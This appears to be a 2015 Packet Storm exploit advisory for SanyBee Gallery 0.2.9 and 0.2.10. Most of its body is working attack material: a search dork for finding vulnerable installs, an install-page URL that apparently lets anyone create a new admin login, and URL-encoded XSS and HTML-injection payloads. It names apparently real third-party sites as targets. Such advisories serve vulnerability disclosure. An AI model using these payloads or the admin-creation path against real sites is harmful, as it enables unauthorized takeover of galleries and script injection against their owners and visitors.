SanyBee Gallery 0.2.9 / 0.2.10 XSS / Add Admin

2015-06-08T00:00:00
ID PACKETSTORM:132221
Type packetstorm
Reporter indoushka
Modified 2015-06-08T00:00:00

Description

                                        
                                            `| # Title : SanyBee Gallery V0.2.9 and v0.2.10 special Multi Vulnerability   
| # Author : indoushka   
| # email : indoushka4ever@gmail.com   
| # Dork : SanyBee Gallery Version : 0.2.9 special free.fr  
| # Tested on: windows 8.1 Français V.(Pro)   
| # Download : http://www.gallery.sanybee.com   
=======================================  
  
http://gallery.sanybee.com/install/?p=4 ( add new admin login )  
  
http://y.jt.free.fr/install/?p=4 ( add new admin login )  
  
http://y.jt.free.fr/ ( Login )  
  
Xss :   
  
http://y.jt.free.fr/install/?p=5%27%22%28%29%26%25%3CScRiPt%20%3Eprompt%28937485%29%3C/ScRiPt%3E  
  
( XSS / HTML Inject ) :  
  
http://y.jt.free.fr/install/?p=5%27%22%28%29%26%25%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3E%20indoushka%3C/font%3E%3C/marquee  
  
Greetz :   
jericho http://attrition.org & http://www.osvdb.org/ * packetstormsecurity.com * http://is-sec.org/cc/  
Hussin-X * Stake (www.v4-team.com) * D4NB4R * ViRuS_Ra3cH * yasMouh * https://www.corelan.be * exploit4arab.net  
---------------------------------------------------------------------------------------------------------------  
`